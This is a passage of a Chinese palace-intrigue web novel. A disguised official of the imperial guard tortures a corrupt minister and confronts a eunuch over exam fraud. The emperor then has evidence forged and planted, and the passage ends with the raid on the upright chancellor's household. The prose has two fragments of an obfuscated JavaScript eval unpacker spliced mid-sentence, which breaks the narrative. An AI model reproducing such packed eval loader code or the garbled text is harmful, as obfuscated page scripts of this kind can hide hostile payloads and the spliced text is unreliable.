萧道煜回过神,发现自己的手还在微微发抖。她将残卷仔细收进袖中,站起身,面色已恢复平日的冷峻:“袭击者,查到线索了么?” “已擒住一人。”萨林示意,两名黑鳞卫押着一个五花大绑的汉子过来,正是那瘦高个儿泼皮,此刻鼻青脸肿,吓得浑身筛糠。 萧道煜看了他一眼,目光如冰:“谁指使的?” “是、是……”瘦高个儿哆嗦着,“是赵府……赵府的管家赵福,给了我们五十两银子,让我们……让咱们教训柳砚,烧了他的书,逼他离开京城……” 赵府。赵文瑞的赵家。 萧道煜唇角勾起一丝冷笑。果然。赵文瑞靠舞弊高中会元,如今怕事情败露,竟用这等下作手段,要堵寒门士子的嘴。可笑,可悲。 “另外两人呢?”她问。 “逃、逃了……”瘦高个儿哭丧着脸,“小的真不知道他们去哪儿了……” 萧道煜不再多问,挥手让人将他带下去。她走到巷子中央,抬头望了望那株开得繁盛的老槐。槐花如雪,簌簌落下,有几朵落在她肩头,香气甜腻得令人作呕。 “萨林,”她忽然开口,“从今日起,你暗中保护柳砚。不必让他知道,只需确保……他不再受这等侵害。” 萨林一怔:“世子,柳砚不过一介寒儒,何须——” “照做便是。”萧道煜打断,声音很轻,却不容置疑,“还有,查查这几个泼皮,近来还与什么人有接触。尤其是……白莲教。” 白莲教三字一出,萨林神色骤凛:“世子怀疑此事与白莲教有关?” “未必有关,但不得不防。”萧道煜转身,朝巷口走去,“柳砚当街拦马,痛斥科举不公,已成了某些人的眼中钉。有人想让他闭嘴,也有人……或许想借他这把刀,搅乱朝局。” 她想起伊凡之前的话:皇上对科举舞弊并非一无所知,却按兵不动。为什么?是在等什么?还是在纵容什么? 而白莲教……那个藏在暗处、伺机而动的邪教,会不会也盯上了柳砚这个“寒门代表”,想借他的冤屈,煽动民变? “卑职明白。”萨林沉声道。 萧道煜点点头,翻身上马。照夜玉狮子打了个响鼻,踏着满地槐花,缓缓行出陋巷。 夜色深浓,远处的京城灯火阑珊,如星河倒坠。可这璀璨之下,又藏着多少肮脏与阴谋? 她握紧缰绳,袖中那半本残卷硌着手腕,像一道永不愈合的伤疤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你自然不能。”萧道煜淡淡道,“但司礼监的魏进忠能。” 周敬之浑身一震。 “魏进忠掌管内廷文书传递,春闱题目拟定后,需经司礼监用印封存。他若想提前看一眼,易如反掌。”萧道煜起身,走到周敬之面前,琥珀金的眸子盯着他,“而你,三年前将侄女送入魏进忠府中为妾,从此搭上了这条线。今年春闱前,你通过侄女,从魏进忠处拿到了考题,又高价卖给那些想为子侄铺路的世家——我说得可对?” 一字一句,如重锤砸在周敬之心上。他脸色煞白如纸,嘴唇哆嗦着,却说不出话来。 “二十年前,你为忠顺王府‘世子’登记户籍时,”萧道煜声音很轻,却字字如冰,“察觉有异,却按下不表,暗中留下了证据。这些年,你靠着这份名单,步步高升,从六品主事爬到礼部侍郎。如今,又想用它来要挟我,让我对你科举舞弊之事睁只眼闭只眼。” 她俯身,凑近周敬之耳边,声音低得只有两人能听见:“周大人,你好大的胆子。” 周敬之浑身发抖,终于崩溃:“世子……世子饶命!老夫、老夫也是不得已!那名单……那名单老夫早已销毁!求世子看在老夫为官多年、没有功劳也有苦劳的份上,饶老夫一命!老夫愿辞官归乡,永不踏足京城!” “销毁?”萧道煜直起身,唇角勾起一丝讥诮的弧度,“周大人,你当我是三岁孩童么?这等保命的东西,你会只留一份?” 她转身,对伊凡道:“伊佥事,周大人似乎还不愿说实话。你来,帮他想想。” 伊凡应声上前,从刑具架上取下一把细长的铁钳。他走到周敬之面前,面无表情地掰开他的嘴,铁钳夹住一颗门牙。 “唔……唔!”周敬之惊恐挣扎,铁链哗啦作响。 伊凡手上用力。 “咔嚓。” 轻微的脆响。一颗带血的牙齿被生生拔下,落在青石地面上,滚了几圈。 周敬之发出一声凄厉的惨嚎,满口鲜血涌出,顺着下巴滴落。他疼得浑身痉挛,眼中最后一点强硬彻底崩溃,只剩无边的恐惧。 “我说……我说!”他含糊不清地哭喊,“……在、在司礼监……魏公公那里!” 司礼监。魏进忠。 萧道煜闭了闭眼。果然。周敬之这条线,终究还是连到了西苑,连到了太上皇。魏进忠是太上皇的人,他留着这份名单,自然是为太上皇掌控忠顺王府、掌控她萧道煜准备的。 好一盘大棋。从二十年前埋下棋子,到今日收网。而她,始终是棋盘上最被动的那颗子。 “世子,”伊凡低声道,“是否要提审魏进忠?” 萧道煜还未答话,刑房外忽然传来急促的脚步声。一个黑鳞卫校尉匆匆进来,单膝跪地:“世子,有密报。” “讲。” 校尉呈上一封火漆密函。萧道煜拆开,抽出信笺。目光扫过,瞳孔骤然收缩。 信是盛晚湘送来的,只有寥寥数语: “魏进忠近日频繁出入西苑,与太上皇密谈。” 信笺在指尖微微颤抖。萧道煜盯着那几行字,良久,忽然低笑出声。 笑声在阴冷的刑房里回荡,带着一种近乎癫狂的寒意。 周敬之恐惧地看着她,不明白这病弱世子为何突然发笑。 萧道煜却止住笑,将信笺凑近墙上的火把。火舌舔上纸角,迅速蔓延,化为灰烬,簌簌落下。 “周大人,”她转身,看向周敬之,琥珀金的眸子里一片冰冷,“你的命,暂且留着。至于魏进忠……” 她顿了顿,声音轻得几乎听不见: “本世子亲自去会会他。” 说罢,拂袖而去。萨林紧随其后,伊凡留在刑房内,看着瘫软如泥的周敬之,眼中闪过一丝复杂难辨的情绪。 刑房外,甬道幽深,火把的光将萧道煜的背影拉得细长,如一道孤绝的影。 这场关乎身世、关乎朝局、关乎无数人性命的博弈,才刚刚开始。 25. 第 25 章 司礼监坐落于紫禁城东南隅,与内阁值房仅一墙之隔,却是内廷与外朝权力交汇最微妙处。朱漆大门常闭,门外一对石狮子怒目圆睁,檐下悬着的“绳愆纠谬”匾额在晨光里泛着暗沉的金光。此处看似静谧,实则掌天下章奏、批红用印、传宣谕旨,权柄之重,不亚于外朝六部。 时近午时,春阳正暖。司礼监院内却依旧阴森,只因四周高墙挡住了大半日光,只从檐角漏下几缕光柱,照亮飞舞的尘埃。院中一株百年银杏刚抽新叶,嫩绿如烟,树下石桌上摆着一局残棋,黑白子纠缠如乱麻。 魏进忠独自坐在石凳上,一身靛蓝蟒袍,外罩玄色比甲,面白无须,年约五旬,一双细长眼睛半眯着,正慢悠悠拨弄着一串沉香木念珠。他身旁侍立着两个小太监,皆垂首屏息,连大气都不敢喘。 “哒、哒、哒……” 院门外忽然传来整齐急促的脚步声,不是宫人惯常的细碎步点,而是铁靴踏地的沉重声响。魏进忠拨弄念珠的手指微微一顿,细长的眼睛里闪过一丝了然,旋即恢复平静。 “哐当——” 朱漆大门被一脚踹开。 萧道煜立在门外,一身绯色官袍在阴森的庭院里如一道刺目的血痕。她未戴冠,鸦青色长发只用一根玉簪松松绾着,几缕碎发垂在苍白的脸颊旁。面色白得近乎透明,唇色淡如残樱,唯有一双琥珀金的眸子,此刻凝着冰霜,死死盯着石凳上的魏进忠。 她身后,萨林按刀而立,幽绿双瞳如鹰隼般扫视院内,五十黑鳞卫已将司礼监前后门悉数封锁,甲胄摩擦发出冰冷的金属声。 院中那两个小太监吓得腿软,扑通跪倒在地。魏进忠却缓缓起身,拂了拂蟒袍下摆,面上堆起恰到好处的笑容,躬身行礼:“奴婢参见世子。不知世子大驾光临,有失远迎,还望恕罪。” 声音尖细柔和,姿态恭谨至极,可那笑容里,却透着一股子说不出的阴冷。 萧道煜迈步进门,铁靴踏在青石板上,一声声,敲在死寂的庭院里。她在魏进忠面前三步处停下,目光落在那局残棋上,忽然开口:“魏公公好雅兴。” “奴婢闲来无事,胡乱摆弄罢了。”魏进忠直起身,细长的眼睛打量着萧道煜,“世子面色不佳,可是贵体欠安?奴婢这就传太医——” “不必。”萧道煜打断,声音平静无波,“本世子今日来,是向魏公公讨一样东西。” “哦?”魏进忠挑眉,“不知世子要讨何物?奴婢这司礼监里,除了些陈年卷宗、笔墨纸砚,怕是没有能入世子法眼的物件。” “有。”萧道煜直视他的眼睛,“一样二十年前的旧物——忠顺王府‘世子’出生时,礼部主事周敬之登记户籍的副本文书,以及……一份知情者名单。” 话音落地,庭院内死寂如坟。 银杏树的嫩叶在微风里轻轻摇曳,沙沙作响。那两个跪着的小太监将头埋得更低,浑身发抖。萨林握紧刀柄,指节泛白。 魏进忠脸上的笑容慢慢敛去。他盯着萧道煜,良久,忽然低笑一声:“世子这是……听了什么风言风语?二十年前的旧档,早该销毁了。至于什么名单……奴婢闻所未闻。” “是么。”萧道煜也笑了,笑意未达眼底,“那周敬之在诏狱里,可是说得清清楚楚——名单副本,就在魏公公手中。怎么,公公年纪大了,记性也不好了?” 魏进忠沉默片刻,转身走到石桌前,拈起一枚黑子,轻轻落在棋盘某处。棋子敲击棋盘的脆响,在寂静中格外清晰。 “世子,”他背对着萧道煜,声音依旧柔和,“您如今执掌北镇抚司,办案得力,深得皇上器重,前途不可限量。何必……揪着些陈年旧事不放呢?” “陈年旧事?”萧道煜声音陡然转冷,“魏公公,二十万两银子、数十名世家子弟的前程、还有无数寒门士子的冤屈——这也是‘陈年旧事’?” 魏进忠缓缓转身,细长的眼睛里闪过一丝阴鸷:“世子这是在说……科举舞弊?” “不然呢?”萧道煜步步逼近,“春闱考题提前泄露,主考官周敬之收受贿赂,副主考陈子昂贩卖范文,而这一切的源头——”她停在魏进忠面前,两人距离近得能看见彼此眼中的倒影,“是你,司礼监掌印太监,魏进忠。” 庭院内风似乎停了。银杏叶不再摇曳,连尘埃都凝固在光柱中。 魏进忠与萧道煜对视良久,忽然,他竟笑了起来。笑声尖细,带着一种令人毛骨悚然的诡异。 “世子啊世子,”他摇着头,像是惋惜,“您果然还是太年轻,太……天真。” 萧道煜瞳孔微缩。 “您真以为,科举舞弊,是奴婢一人所为?”魏进忠凑近,压低声音,如毒蛇吐信,“您真以为,周敬之那点胆子,敢擅自泄露考题?您真以为……皇上对这一切,一无所知?” 每一个问句,都像一柄重锤,狠狠砸在萧道煜心上。她脸色更白,袖中的手微微颤抖,却强撑着不让声音露出破绽:“你什么意思?” “意思就是——”魏进忠退后半步,脸上重新堆起那种恭谨却阴冷的笑容,“这一切,都是皇上的意思。” “轰”的一声,仿佛有什么东西在萧道煜脑中炸开。她踉跄后退半步,被萨林扶住。小腹的剧痛在这一刻骤然爆发,像有只手在腹腔里狠狠搅动,疼得她眼前发黑。 “不可能……”她嘶声道,“皇上为何要……” “为何?”魏进忠打断,细长的眼睛里闪烁着算计的精光,“世子爷,您执掌北镇抚司这些年,办了多少案子?盐案、漕案、贪墨案……哪一桩,不是皇上授意?哪一桩,不是砍向那些盘根错节的勋贵世家?” 他走到萧道煜面前,声音压得更低,如恶魔低语:“皇上要整顿朝纲,要收拢权柄,要打压那些尾大不掉的旧臣。可这些世家树大根深,牵一发而动全身,若直接动手,必遭反噬。所以……需要一把刀。一把锋利、听话、又足够冷酷的刀。” 萧道煜浑身发冷,如坠冰窟。 “您就是那把刀,世子。”魏进忠轻声道,语气里带着一种近乎残忍的怜悯,“盐案,您砍了王克善,断了太上皇一臂;如今科举案,您又要砍向赵家、钱家、刘家……这些与勋贵勾结的世家。等您把这些‘刺’都拔干净了,皇上才能安心地……换上一批听话的新人。” 他顿了顿,补充道:“至于那些寒门士子的冤屈?呵,世子爷,成大事者不拘小节。牺牲几个穷书生,换来朝局稳定、皇权巩固,这买卖……不亏。” 每一个字,都像淬毒的针,扎进萧道煜心里。她想起永熙帝那张温润却深沉的脸,想起那些看似信任实则疏离的赏赐,想起自己这些年来,以为在匡扶正义、实则不过是别人手中棋子的种种…… 原来如此。 原来她一直以为自己在执刀,在维护法度,在替天行道。可实际上,她不过是别人手中的刀,一把用完了就可以丢弃、甚至折断的刀。她砍向的那些“奸佞”,不过是皇帝想清除的障碍;她维护的“法度”,不过是帝王权术的工具;她以为的“公道”……从来就不存在。 “噗——” 一口鲜血猛地从喉间涌出,萧道煜以帕掩口,却掩不住那刺目的猩红从指缝渗出,滴落在绯色官袍上,洇开一朵朵暗色的花。 “世子!”萨林脸色大变,扶住她摇摇欲坠的身子。 魏进忠却只是静静看着,脸上那抹恭谨的笑容丝毫未变,甚至……还带上了一丝满意的神色。 “看来世子爷是明白了。”他慢悠悠道,“既然如此,奴婢劝您一句——有些事,看破不说破。您继续做您的北镇抚司镇抚使,继续为皇上办事,将来荣华富贵,少不了您的。至于那些不该碰的秘密……” 他弯腰,从石桌下摸出一个小巧的紫檀木匣,递给萧道煜。 “物归原主。”魏进忠微笑,“从此以后,二十年前的旧事,与司礼监再无瓜葛。也请世子……好自为之。” 萧道煜盯着那个木匣,没有接。她知道里面是什么——是那份足以毁掉忠顺王府、毁掉她、毁掉所有人的名单。 许久,她才缓缓抬手,接过木匣。入手冰凉,沉甸甸的,像捧着一座坟。 “萨林,”他开口,声音嘶哑得不成样子,“我们走。” “世子,您的身子——” “走。” 萨林不敢再言,搀扶着她,一步步走出司礼监庭院。黑鳞卫无声收队,铁靴声渐远。 魏进忠独自站在银杏树下,看着那一行人消失在朱漆大门外,脸上笑容渐渐敛去,化为一片深不见底的阴冷。他转身,对跪在地上的小太监淡淡道:“去,禀报皇上——萧世子,来过了。” 小太监连滚爬爬退下。 庭院重归寂静。魏进忠走到石桌前,看着那局残棋,拈起一枚白子,落在黑子包围中的一处。 “将死。”他轻声道,细长的眼睛里闪过一丝讥诮。 春风拂过,银杏嫩叶沙沙作响。阳光透过枝叶缝隙,在他脸上投下斑驳的光影,明暗交错,如鬼似魅。 同一时辰,乾清宫西暖阁。 永熙帝萧景琰正批阅奏章,朱笔在折子上勾画,动作不疾不徐。窗外春光正好,御花园里桃红柳绿,鸟语花香,可暖阁内却依旧弥漫着一股沉肃的气息。 贴身太监刘瑾悄步进来,躬身低语:“皇上,司礼监那边传来消息——萧世子去了,与魏公公对峙了一番,咳血离去。” 永熙帝笔尖未停,只淡淡“嗯”了一声。 刘瑾犹豫片刻,又道:“魏公公按皇上吩咐,将……将那东西给了世子。世子似乎……大受打击。” “知道了。”永熙帝放下朱笔,揉了揉眉心,“他若不受打击,反倒奇怪了。” 刘瑾不敢接话,只垂手侍立。 暖阁内静了片刻,永熙帝忽然问:“杨廷鹤那边,如何了?” “杨阁老近来闭门谢客,只与几个门生故旧书信往来。据咱们的人探听,他似对盐案、科举案都颇有微词,前日还写了封密折,欲递呈御前,被咱们的人截下了。”刘瑾顿了顿,“折子里……措辞激烈,直言皇上‘宠信阉宦、纵容舞弊、寒天下士子之心’。” 永熙帝闻言,非但不怒,唇角反而勾起一丝极淡的弧度:“果然。杨廷鹤这老狐狸,还是这么沉不住气。”他起身,走到窗边,望着御花园里盛开的牡丹,“朕这些年,借萧道煜之手,打压勋贵,整顿盐政,已是触动太多人利益。杨廷鹤作为清流领袖,自然看不下去。” “那皇上……”刘瑾试探,“是否要敲打敲打?” “敲打?”永熙帝轻笑,“不,朕要的,就是他跳出来。”他转身,目光锐利,“盐案、科举案,都只是开胃菜。真正的重头戏……是杨廷鹤。” 刘瑾心中一凛。 “杨廷鹤门生故旧遍布朝野,在清流中威望极高。他若公然反对朕,那些对朕新政不满的旧臣,便会聚集到他旗下。”永熙帝缓缓道,“届时,朕便可借‘结党营私、图谋不轨’之名,将这些人一网打尽。朝堂,才能真正清净。” 原来如此。刘瑾恍然。皇上这是要引蛇出洞,将反对势力全部引出,再一举铲除。而杨廷鹤,便是那枚最好的饵。 “可是,”刘瑾迟疑,“杨阁老为官清廉,声望极高,若无确凿罪证,恐怕难以服众……” “罪证?”永熙帝走回案前,从抽屉里取出一封密函,递给刘瑾,“你看看这个。” 刘瑾接过,展开一看,脸色骤变。密函是边关守将发来的,言称近日截获一批送往关外的密信,信中提到朝中有人与关外部落勾结,欲借边境战事之机,里应外合,图谋不轨。而信中所指之人,虽未明言,种种线索却都指向……杨廷鹤。 “这、这是……”刘瑾声音发颤。 “伪造的。”永熙帝平静道,“但足够真,真到……能让杨廷鹤百口莫辩。” 刘瑾冷汗涔涔。伪造边关密信,构陷当朝首辅……这手段,太毒了。可他知道,皇上既然说出来,便是已打定主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧道煜……确实是一把好刀,替他砍除了不少障碍。可这把刀,太锋利,也太不可控。 但愿伊凡的选择,能让他少费些心思。 春风从窗外涌进来,吹动案上奏折,纸页哗啦作响。永熙帝伸手按住,指尖触到冰凉的纸面,心头却是一片燥热。 这盘棋,已到了最关键处。每一步,都不能错。 是夜,子时。 杨廷鹤府邸位于城东清晏坊,五进的大宅,虽不及勋贵府邸奢华,却处处透着书香门第的清雅。门前一对石鼓,匾额“清流世家”是御笔亲题,门廊下挂着两盏素纱灯笼,在夜风中轻轻摇曳。 此刻府内早已熄灯,只余几处守夜的下人房中,还有零星灯火。后院书房更是漆黑一片,窗纸透不出半点光。 一条黑影如鬼魅般掠过院墙,悄无声息落在庭院中。正是伊凡。 他一身夜行衣,面蒙黑巾,只露出一双琥珀色的眸子,在月色下闪着幽冷的光。他伏在假山后,静静观察片刻,确认无人,才猫腰潜至书房窗外。 窗棂紧闭,却难不倒他。他从怀中取出一根细铁丝,插入锁孔,轻轻拨弄几下,“咔嗒”一声轻响,锁开了。 推窗翻身而入,动作轻灵如狸猫,落地无声。 书房内一片漆黑,只从窗纸透进的微弱月光,勉强勾勒出家具轮廓。紫檀木大案、顶天立地的书架、墙上悬挂的字画、还有墙角那座青铜博山炉……一切都笼罩在深沉的暗影中。 伊凡没有点灯。他在黑暗中站了片刻,等眼睛适应了光线,才缓步走到书架前。根据皇上给的密图,杨廷鹤书房暗格,就在书架第三层,那部《资治通鉴》后面。 他伸手,轻轻抽出《资治通鉴》。果然,后面是一块活动的木板。推开,露出一个尺许见方的暗格。 暗格内空空如也,只积了薄薄一层灰。 伊凡从怀中取出那封“密信”——正是永熙帝交给他的伪造信函。信纸做旧得极好,墨迹也模仿了关外部落惯用的草书,若非知情者,绝难看出破绽。他将密信放入暗格,又将木板推回,书籍归位。 一切做得天衣无缝。 做完这些,他本该立刻离开。可不知为何,他却站在原地,没有动。 月光透过窗纸,在地面投下斑驳的光影。他低头,看着自己摊开的双手——这双手,这些年来,为世子做过多少事?查案、审讯、杀人、灭口……每一桩,都沾着血。可他从不后悔,因为他以为,自己是在帮世子,是在维护他们共同的秘密,是在……守护那个人。 可如今呢? 他奉命伪造证据,构陷当朝首辅。而杨廷鹤,是清流领袖,是天下士子仰望的正直之臣。若此事败露,世子会怎么看他?那个自幼相伴、病弱却倔强的人,会不会用那双琥珀金的眸子,冷冷看着他,说“伊凡,你让我恶心”? 胸口那处自宫留下的旧伤,忽然隐隐作痛。那不仅是身体的残缺,更是他为了留在世子身边,付出的代价。可若世子知道,他今日所做之事,会不会觉得……这代价,一文不值? 窗外忽然传来极轻的脚步声。 伊凡瞬间回神,闪身躲到书架阴影里。屏息凝神,只听脚步声在门外停住,似是守夜的下人经过。片刻,脚步声远去,庭院重归寂静。 他松了口气,却不敢再多留。最后看了一眼那个暗格,转身,推开窗户,翻身而出,身影很快融入夜色。 书房内,重归黑暗。只有那封伪造的密信,静静躺在暗格中,像一颗随时会炸开的惊雷。 而远处,北镇抚司衙门内,萧道煜正躺在病榻上,辗转难眠。白日司礼监那一幕,如噩梦般在脑中反复浮现。魏进忠的话,字字诛心,将他这些年来所有的信念、所有的坚持,都击得粉碎。 他咳了几声,以帕掩口,帕上又是点点猩红。 萨林守在榻边,绿瞳里满是担忧:“世子,斐先生说您必须静养,不能再劳心了。” 萧道煜却像没听见,只怔怔望着帐顶承尘,轻声问:“萨林,你说……我这辈子,究竟在为什么而活?” 萨林沉默。他不懂这些复杂的心思,他只知道,世子是他的神明,是他誓死守护的对象。至于世子为什么而活……不重要。 窗外,夜色深浓。京城在沉睡,可这平静之下,多少暗流汹涌,多少人心算计,多少忠诚与背叛,正在悄然发生。 而一场更大的风暴,已在这暗夜中,悄然酝酿。 26. 第 26 章 永熙五年,白雨骤降。 白日里还是晴暖天气,未时过后天色却陡然阴沉,铅灰色的云层低低压着京城屋脊,热风卷着潮湿的土腥气自南而来,刮得街市上幌子猎猎作响。酉时三刻,第一滴雨点砸落青石板,不过半刻,已是暴雨如注,雨幕如瀑,将朱门黛瓦、长街短巷尽数笼进一片茫茫水汽之中。 杨廷鹤府邸所在的清晏坊,此刻更是寂静得反常。暴雨抽打着“清流世家”的匾额,檐水如帘,那两盏素纱灯笼在风雨中剧烈摇晃,昏黄的光晕在水幕里明明灭灭,仿佛随时会熄灭。府门紧闭,连平日里守夜的门房也不知所踪,只门缝里漏出几缕微弱烛光,映着阶前飞溅的雨花。 忽有马蹄声自长街尽头传来,沉重整齐,踏碎雨夜的死寂。数十骑黑甲骑士冲破雨幕,玄铁鳞甲上水光淋漓,马蹄过处,积水飞溅。为首一骑照夜玉狮子,马背上之人一身绯色官袍,外罩玄色油绸大氅,面色在风雨中白得几乎透明,唯有一双琥珀金的眸子,凝着比寒潭更冷的幽光。 正是萧道煜。 他身后,萨林一身玄甲,绿瞳扫视着紧闭的府门,右手已按上刀柄。再往后,是整整一百黑鳞卫,人人鬼面覆脸,只露出一双双冰冷无情的眼睛,在雨夜里如鬼火浮动。 队伍在府门前停住。萧道煜勒马,抬头望着那块御笔亲题的匾额,久久不语。雨水顺着他官帽的帽檐、肩甲的纹路淌下,浸湿了鬓角。小腹的疼痛在这闷热潮湿的夜里愈发尖锐,像有烧红的铁钩在里头搅动,她咬紧牙关,将涌到喉间的腥甜生生咽下。 “世子,”萨林低声提醒,声音混在雨声中,“时辰到了。” 萧道煜闭了闭眼,再睁开时,眸中最后一丝犹豫已被雨水冲刷殆尽。她缓缓抬手,声音嘶哑却清晰:“围府,搜。” “遵命!” 黑鳞卫应声而动,如黑色的潮水般散开,瞬间将整座府邸围得水泄不通。数名力士抬着粗壮圆木,狠狠撞向朱漆大门。 “轰——轰——” 撞门声在雨夜里格外沉闷,每一声都像撞在人心上。门内传来惊慌的呼喊、杂沓的脚步声,可大门纹丝不动——这是御赐府邸,门闩皆是铁木所制,非比寻常。 撞到第七下时,门内忽然传来一声苍老的怒喝:“住手!” 撞门声戛然而止。大门缓缓开启一条缝,一个须发皆白的老管家探出身来,身上只穿了件夏布单衣,在斜扫的雨水中冻得瑟瑟发抖。他看清门外阵仗,脸色煞白,却仍强撑着挺直脊梁:“深更半夜,暴雨倾盆,何人敢擅闯首辅府邸!” 萧道煜策马上前,居高临下看着老管家,从怀中取出一卷明黄圣旨,缓缓展开。羊皮纸在风雨中猎猎欲碎,上面朱红的御印在灯笼光下刺目如血。 “奉天承运,皇帝诏曰:内阁首辅杨廷鹤,私通外藩,图谋不轨,罪证确凿。着北镇抚司镇抚使萧道煜,即刻查抄杨府,缉拿一干人犯,钦此。” 一字一句,如惊雷砸落。老管家浑身剧震,踉跄后退,却仍嘶声喊道:“冤枉!我家老爷忠心为国,绝无二心!定是奸人构陷——” 话音未落,萨林已翻身下马,一把将他推开。黑鳞卫如潮水般涌入府门,铁靴踏碎院中积水,踏过精心养护的青石甬道,踏进这座传承百年的书香门第。 萧道煜下马,踩着没过脚面的积水,一步步走进府门。身后,那扇朱漆大门在风雨中轰然闭合,将府内府外,隔成两个世界。 杨府内早已乱作一团。 仆役丫鬟从各房奔出,有的衣冠不整,有的抱头哭泣,皆被黑鳞卫驱赶到前院,跪在冰冷的雨地里。女眷的哭喊声、孩童的惊啼声、还有黑鳞卫粗鲁的呵斥声,混作一团,在暴雨中凄厉回荡。 萧道煜穿过前庭,径直走向后院书房。雨越下越大,砸在她的官帽、肩头,噼啪作响。她走得很慢,每一步都像踩在刀尖上。腹中石瘕的疼痛已蔓延至四肢百骸,冷汗与雨水混在一起,里衣尽湿,被夜风一吹,激起阵阵寒栗。 书房的门虚掩着,透出温暖的烛光。他推门进去。 杨廷鹤端坐在紫檀木大案后,一身苎麻夏袍,头发梳得一丝不苟,正就着烛火翻阅一本《资治通鉴》。听见推门声,他抬起头,看清来人,眼中并无惊讶,只有一片深沉的疲惫与……了然。 “萧世子,”他放下书卷,声音平静,“暴雨夜访,可是奉了旨意?” 萧道煜立在门口,风雨从身后灌入,吹得烛火剧烈摇曳。她望着这位三朝元老、清流领袖,喉头忽然哽住,竟一时说不出话来。 杨廷鹤起身,缓步走到窗前,望着窗外如瀑的暴雨,轻声道:“今日这场雨,来得暴烈。老夫午后观天,尚见日头,未料酉时便风云突变。”他转过身,看向萧道煜,“就像这朝局,看似平静,实则暗流汹涌。萧世子,你说是不是?” 萧道煜攥紧袖中圣旨,指节发白:“杨阁老,吾……奉命查抄贵府。请……配合。” “查抄?”杨廷鹤笑了,笑声苍凉,“罪名呢?可是通敌叛国?” 萧道煜沉默。 “老夫猜猜,”杨廷鹤走到书架前,抚着那部《资治通鉴》,“可是在老夫书房中,‘搜出’了与关外部落往来的密信?信上还有老夫的私印,笔迹也模仿得惟妙惟肖?” 萧道煜瞳孔骤缩。他怎么会知道? 杨廷鹤转过身,目光如炬,直直盯着他:“萧世子,你以为老夫在朝堂数十载,是白活的么?自盐案起,皇上借你之手打压勋贵;科举案,又借你之手清洗世家。如今轮到老夫了——清流领袖,门生故旧遍布朝野,若不除掉,皇上如何安睡?” 他一步步逼近,声音陡然拔高,压过窗外雨声:“可皇上千算万算,算错了一件事!老夫杨廷鹤,一生清廉,两袖清风!便是死,也绝不会背负通敌叛国的污名!” 话音未落,书房门被猛地推开。萨林带着几名黑鳞卫冲进来,手中捧着一个紫檀木匣,正是从书架暗格中搜出的。 “世子,”萨林单膝跪地,呈上木匣,“搜到了。” 萧道煜盯着那个木匣,没有接。她知道里面是什么——是伊凡昨夜放进去的“密信”,是构陷这位三朝老臣的“铁证”。 杨廷鹤看着木匣,忽然仰天大笑。笑声悲怆,在暴雨夜里回荡,震得梁上微尘簌簌落下。 “好!好一个‘铁证如山’!”他笑出了眼泪,指着萧道煜,声音嘶哑,“萧道煜!你这条皇家走狗!这把杀人刀!你以为你在替天行道?你以为你在维护法度?你不过是个可怜虫!一把被主子用完就扔的破刀!” 每一个字,都像淬毒的匕首,狠狠扎进萧道煜心里。他浑身颤抖,喉间腥甜翻涌,几乎要呕出血来。 萨林脸色一沉,拔刀出鞘:“放肆!” “萨林!”萧道煜厉声喝止。 杨廷鹤看着那柄寒光凛冽的弯刀,非但不惧,反而上前一步,将脖颈迎向刀锋:“来啊!杀了老夫!让天下人看看,这大雍的朝廷,是如何残害忠良!是如何颠倒黑白!” 刀尖抵住咽喉,刺破皮肤,血珠渗出来,在烛火下红得刺目。 萧道煜闭上眼。耳边是杨廷鹤悲愤的怒骂,是窗外暴雨倾盆,是府中女眷的哭喊,还有……心底某个地方,彻底碎裂的声音。 许久,她睁开眼,琥珀金的眸子里一片死寂:“拿下。” “萧道煜!你不得好死!”杨廷鹤被黑鳞卫扭住双臂,仍在嘶吼,“这朝廷烂了!从根子上烂了!今日是老夫,明日就是你!你以为你能独善其身?做梦!” 他被拖出书房,声音渐渐远去,最终淹没在暴雨里。 萧道煜独自站在空荡荡的书房中,看着案上那本翻开的《资治通鉴》,上面正是一段关于“鸟尽弓藏,兔死狗烹”的史论。烛火跳动,映着她苍白如鬼的脸。 她弯腰,捡起地上那个紫檀木匣,打开。里面那封“密信”,字迹工整,印章清晰,任谁看了都会信以为真。 多完美的构陷。多精致的圈套。 而她,是那个将圈套收紧的人。 窗外,暴雨更急。 杨府前院,此刻已是人间炼狱。 黑鳞卫将府中上下百余口人悉数押到院中,无论主仆,无论老幼,皆跪在冰冷的雨地里。暴雨如注,浇得众人浑身湿透,瑟瑟发抖,可无人敢动,无人敢哭出声——方才有个丫鬟忍不住啜泣,被黑鳞卫一脚踹在胸口,当场吐了血,如今还躺在雨水中,生死不知。 杨廷鹤被铁链锁着,押到院中。他背脊依旧挺直,花白的头发被雨水紧贴在额前,目光扫过跪了满地的家人,眼中闪过一丝痛色,却很快化为更深的决绝。 “祖父!”一个青衫少年忽然从人群中冲出,扑到杨廷鹤脚边,抱住他的腿,仰起脸,雨水混着泪水滚滚而下,“祖父!孙儿不信!不信您会通敌!定是有人构陷!” 正是杨廷鹤的嫡孙,杨明远。 他不过弱冠之年,面容清俊,此刻却哭得双眼红肿,声音嘶哑:“孙儿愿以性命担保!祖父一生忠君爱国,绝无二心!求世子明察!求皇上明察啊!” 说着,竟以额触地,在湿冷的地面上连连磕头。砰砰的闷响,每一声都砸在人心上,很快额前便见了血,混着雨水蜿蜒流下。 “明远……起来。”杨廷鹤声音沙哑,“男儿膝下有黄金,不要求这些魑魅魍魉。” “不!孙儿要求!要求个公道!”杨明远抬起头,脸上血水模糊,目光却死死盯着一旁的萧道煜,“萧世子!您执掌北镇抚司,号称铁面无私!难道看不出这是构陷?看不出我祖父是冤枉的?您若还有半分良心,便该——” “放肆!”萨林厉喝,一脚将杨明远踹翻在地。 杨明远闷哼一声,趴在雨水里,却仍挣扎着抬起头,死死盯着萧道煜,眼中是刻骨的恨意:“萧道煜……你会遭报应的……一定会的……” 萧道煜立在廊下,看着雨地里那个少年眼中的恨,看着他额上的血,看着他身后那些跪了满地、浑身湿透、瑟瑟发抖的杨府女眷——有白发苍苍的老夫人,有抱着幼童的年轻妇人,有尚未及笄的少女……人人眼中都是恐惧、绝望,还有一丝微弱的、不敢言说的期盼。 期盼她能手下留情,期盼他能网开一面,期盼这只是一场噩梦。 可她知道,这不是梦。 